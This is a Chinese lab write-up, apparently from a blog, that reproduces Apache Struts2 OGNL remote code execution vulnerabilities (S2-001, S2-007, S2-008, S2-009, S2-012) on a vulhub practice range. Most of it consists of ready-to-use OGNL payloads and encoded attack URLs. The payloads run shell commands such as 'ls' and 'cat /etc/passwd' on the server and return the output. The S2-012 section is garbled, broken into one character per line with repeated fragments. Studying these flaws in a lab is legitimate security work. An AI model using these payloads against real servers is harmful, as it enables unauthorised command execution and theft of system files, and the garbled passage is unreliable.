S2-001 远程代码执行漏洞
漏洞详情:
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
影响版本:
Struts 2.0.0 - Struts 2.0.8
漏洞复现:
测试漏洞,%{1+1}
提交后报错返回解析为2,确认漏洞存在。
获取tomcat执行路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
Tomcat的执行路径:tomcatBinDir{/usr/local/tomcat}
获取Web路径:
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
/usr/local/tomcat/webapps/ROOT/
执行命令
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
将命令进行url编码
漏洞利用成功
手工测的话看对应靶场博客就到此为止了,而使用工具扫描一下呢?
嚯,好家伙,001、005、007、009、012、015、016、那就排好队,一个一个来。
先用现有的工具扫描一波
016直接能利用
上另外一个工具,只发现了005、016,009检测不出来
虽然工具扫出来存在那么多漏洞,但是像007没有利用模块。所以还是老老实实在vulhub上搭建靶场吧。
S2-007远程代码执行漏洞
漏洞简述:
age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞。
影响版本: 2.0.0 - 2.2.3
漏洞复现:
将payloda输入age框,通过bp抓包,看回显包,可以看到成功执行ls
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls /').getInputStream())) + '
S2-008
漏洞原理:
- Cookie 拦截器错误配置可造成 OGNL 表达式执行由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用
- struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但这种情况在生产环境中几乎不可能存在。
影响版本:
Struts 2.1.0 - Struts 2.3.1
漏洞复现:
直接利用hackbar,通过在url后添加payload
http://192.168.118.147:8080/devmode.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22ls%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
S2-009
漏洞描述
OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。
在S2-003和S2-005中已经解决了类似的行为,但事实证明,基于列入可接受的参数名称的结果修复仅部分地关闭了该漏洞。
ParametersInterceptor中的正则表达式将top [‘foo’](0)作为有效的表达式匹配,OGNL将其作为(top [‘foo’])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护
影响版本
2.1.0 - 2.3.1.1
Payload:
`http://192.168.118.147:8080/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]`
下载打开。
S2-012
漏洞原理:
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用
p
a
r
a
m
n
a
m
e
作
为
重
定
向
变
量
,
例
如
:
<
p
a
c
k
a
g
e
n
a
m
e
=
"
S
2
−
012
"
e
x
t
e
n
d
s
=
"
s
t
r
u
t
s
−
d
e
f
a
u
l
t
"
>
<
a
c
t
i
o
n
n
a
m
e
=
"
u
s
e
r
"
c
l
a
s
s
=
"
c
o
m
.
d
e
m
o
.
a
c
t
i
o
n
.
U
s
e
r
A
c
t
i
o
n
"
>
<
r
e
s
u
l
t
n
a
m
e
=
"
r
e
d
i
r
e
c
t
"
t
y
p
e
=
"
r
e
d
i
r
e
c
t
"
>
/
i
n
d
e
x
.
j
s
p
?
n
a
m
e
=
{param_name} 作为重定向变量,例如: <package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect">/index.jsp?name=
paramname作为重定向变量,例如:<packagename="S2−012"extends="struts−default"><actionname="user"class="com.demo.action.UserAction"><resultname="redirect"type="redirect">/index.jsp?name={name}
/index.jsp
/index.jsp
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
影响版本
2.1.0 - 2.3.13
漏洞复现:
Payload:(传入s2-001的payload即可)
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
S2-013
上工具直接利用。
后边还有
这么些个漏洞,就先暂留,复现这么多同系列的 有点疲了。